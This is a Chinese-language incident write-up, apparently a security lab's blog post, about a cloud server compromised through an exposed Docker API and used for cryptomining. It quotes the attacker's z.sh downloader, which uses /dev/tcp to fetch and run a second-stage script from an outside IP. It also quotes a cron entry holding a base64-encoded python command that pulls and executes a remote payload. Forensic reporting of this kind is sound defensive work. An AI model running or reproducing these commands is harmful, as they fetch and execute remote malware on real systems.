一次悲慘的被挖礦經歷


出品|MS08067實驗室(www.ms08067.com)

本文作者:500(Ms08067實驗室成員)

一、事件起因

  上周想着部署一個分布式文件系統,我就在阿里雲上申請了一台機器,部署了docker並安裝Simpledfs,可不想剛雲主機剛配置沒兩天,就發現機器的cpu使用率飆升,控制台各種告警。登錄上去先看top一下看看系統的狀況,發現這個bash腳本幾乎占用了全部cup,估計是被黑了。

  我趕緊去查看機器歷史操作,通過history命令查看歷史操作,發現內容已經被清空,日志文件也全部被清空,並且docker服務也被關閉了。

  經過排查發現,這台機器開放了ssh服務22端口、本地smtp25端口、sshd守護進程222端口,以及docker服務的端口。對外暴露了ssh,第一個想到的就是先查看一下ssh的版本。

  查看該版本中有哪些漏洞可能被攻擊者利用,排查了可能被利用的OpenSSH 安全認證繞過漏洞(CVE-2016-10012)、SSH登陸驗證繞過漏洞(cve-2018-10933)等漏洞的利用方法,但並沒有發現可直接利用並獲取到root權限的方法。

  那么攻擊者有沒有可能利用docker的漏洞,然后從容器中逃逸出來呢?這時我想到了docker remote API未授權訪問漏洞,攻擊者可以利用docker API 2375端口,通過接口執行容器命令。然后將/root/.ssh目錄掛載到容器內,進而把ssh公鑰寫入進去,修改權限為600,然后就可以以root用戶登錄了。

參考:http://blog.nsfocus.net/docker-remote-api-unauthorized-access-vulnerability/

二、我們來看看攻擊者做了哪些操作

  1、攻擊者創建了一個新的賬號,查看/etc/passwd文件,發現新增了一個用戶tech,創建的時間是22:12

tech:x:1000:1000::/home/tech:/bin/bash

  2、攻擊者將tech用戶加入到wheel組,並且修改了/etc/sudoers文件。(這個文件的權限被篡改過,應該是先加上了寫權限,篡改完成后又改回了440權限,並配置了wheel組用戶使用sudo到root時不需要輸入密碼。)

  3、隨后攻擊者下載了工具集busybox,被阿里雲偵測到。

  4、攻擊者將根目錄換成指定的目錄,

chroot /mnt /bin/sh -c cd /opt/

   並寫入z.sh,

echo '#!/bin/bash' > z.sh
echo 'read proto server path<<<$(echo ${1//// })' >> z.sh
echo 'exec3<>/dev/tcp/42.51.64.146/443' >> z.sh
echo 'echo -en "GET /web2/$1HTTP/1.0\r\nHost: 42.51.64.146:443\r\n\r\n" >&3' >> z.sh
echo '(while read line; do' >> z.sh
echo '[[ "$line" ==$'\''\r'"'"' ]] && break' >> z.sh
echo 'done && cat) <&3'>> z.sh
echo 'exec 3>&-' >> z.sh
bash z.sh zz.sh > zz.sh ; bash zz.sh
rm -rf zz.sh

   其中里面包含了一個ip地址,威脅情報信息如下:

   在系統的opt目錄下,果然存在z.sh

#!/bin/bash
read proto server path <<<$(echo${1//// })
exec 3<>/dev/tcp/42.51.64.146/443
echo -en "GET /web2/$1HTTP/1.0\r\nHost: 42.51.64.146:443\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] &&break
done && cat) <&3
exec 3>&-

  5、攻擊者嘗試寫入后門程序,進行權限維持/usr/sbin/stable 但阿里雲盾攔截了該后門程序。

  6、22點14分至22點47分這段時間,攻擊者kill掉了阿里雲盾的防護,並下載挖礦程序。這個過程由於阿里雲盾下線,日志被清理。未獲取到更多信息。

  7、隨后,攻擊者下載了挖礦程序並進行了安裝。在/root/.ssh中出現了xmrig和config.json文件,時間是22:49

   Xmirg是一款比特幣挖礦軟件,可以通過匹配到的礦池內容修改相應的config.json文件。

   參考:https://www.dxpool.com/help/zh/kva-mining-tutorial

  8、在usr/bin中發現了運行着的bash腳本,應該是運行全套挖礦程序的腳步程序。

   查看下Bash腳本的運行狀態以及網絡連接情況

  9、至此攻擊者還不滿足,他還替換了計划任務文件,設置挖礦的計划任務。
   修改了/etc/ssh/sshd_config、/etc/cron.d、/etc/cron.hourly等計划任務文件。
   /var/spool/cron/root中的內容如下:

*/2 * * * * pkill tail >/dev/null2>&1
*/2 * * * * pkill masscan >/dev/null2>&1
# https://anonpasta.rocks/raw/atucewakep
# 205.185.113.151\|cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8yMDUuMTg1LjExMy4xNTEvZC5weSIpLnJlYWQoKSkn(比特幣錢包地址)

  10、最后,攻擊者將系統的日志文件全部刪除,包括
   /var/log/cron、/var/log/secure、/var/log/messages、/var/log/maillog、/var/log/spooler等。

三、總結

  隨着數字貨幣價格的上漲,越來越多的攻擊者開始利用系統漏洞進行挖礦,攻擊者操作老練,思路清晰,一看就是做過多年的老手了。
  大家要加強安全意識,不要將危險端口暴露在公網,及時更新系統組件,並升級安全補丁。

轉載請聯系作者並注明出處!

Ms08067安全實驗室專注於網絡安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java代碼安全審計(入門篇)》等書籍。
團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術干貨,從零開始、以實戰落地為主,致力於做一個實用的干貨分享型公眾號。
官方網站:https://www.ms08067.com/

掃描下方二維碼加入實驗室VIP社區
加入后邀請加入內部VIP群,內部微信群永久有效!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM